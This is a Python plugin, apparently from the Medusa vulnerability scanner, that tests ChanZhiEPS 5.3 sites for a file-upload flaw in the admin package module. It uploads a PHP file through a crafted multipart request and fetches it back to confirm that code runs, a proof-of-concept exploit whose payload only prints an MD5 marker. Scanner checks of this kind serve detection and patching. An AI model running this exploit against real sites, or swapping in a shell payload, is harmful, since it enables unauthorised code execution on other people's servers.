#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
from ClassCongregation import VulnerabilityDetails,WriteFile,ErrorLog,ErrorHandling,UrlProcessing,Proxies

class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="0" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "KpLi0rn"  # 插件作者
        self.info['create_date']  = "2020-03-05"  # 插件编辑时间
        self.info['disclosure']='2016-05-30'#漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "ChanZhiEPSGetShellVulnerability"  # 插件名称
        self.info['name'] ='ChanZhiEPSGetShell漏洞' #漏洞名称
        self.info['affects'] = "ChanZhiEPS"  # 漏洞组件
        self.info['desc_content'] = "/system/module/package/control.php后台这里上传文件的时候，没有判断文件后缀"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['suggest'] = "升级最新的系统"  # 修复建议
        self.info['version'] = "5.3"  # 这边填漏洞影响的版本
        self.info['details'] = Medusa  # 结果

def medusa(Url,RandomAgent,Token,proxies=None):
    proxies=Proxies().result(proxies)
    scheme, url, port = UrlProcessing().result(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    try:
        payload = '/chanzhi/admin.php?m=package&f=upload'
        verify = '/chanzhi/system/tmp/package/php.php'
        payload_url = scheme + "://" + url + ":" + str(port) + payload
        verify_url = scheme + "://" + url + ":" + str(port) + verify
        data = """
------WebKitFormBoundaryGgFOYWAluy1F8lvn
Content-Disposition: form-data; name="file"; filename="php.php"
Content-Type: text/php

<?php echo md5(c);>
------WebKitFormBoundaryGgFOYWAluy1F8lvn--
                    """
        headers = {
            'User-Agent': RandomAgent,
            'Content-Type': 'application/x-www-form-urlencoded',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
        }
        s = requests.session()
        s.post(payload_url, data=data, headers=headers,proxies=proxies, timeout=6, verify=False)
        r = s.get(verify_url, headers=headers, timeout=6, proxies=proxies,verify=False)
        con = r.text
        if con.find("4a8a08f09d37b73795649038408b5f33") != -1:
            Medusa = "{}存在ChanZhiEPSGetShell漏洞\r\n漏洞地址:\r\n{}\r\n漏洞详情:{}\r\n".format(url, payload_url, con)
            _t = VulnerabilityInfo(Medusa)
            VulnerabilityDetails(_t.info, url,Token).Write()  # 传入url和扫描到的数据
            WriteFile().result(str(url), str(Medusa))  # 写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ErrorHandling().Outlier(e, _)
        _l = ErrorLog().Write(url, _)  # 调用写入类传入URL和错误插件名



